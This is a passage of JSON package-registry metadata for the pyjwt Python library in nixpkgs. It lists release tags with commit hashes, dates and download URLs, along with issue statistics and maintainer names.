0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.087Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pyjwt?channel=24.05\u0026repository_url=https://channels.nixos.org/nixos-24.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/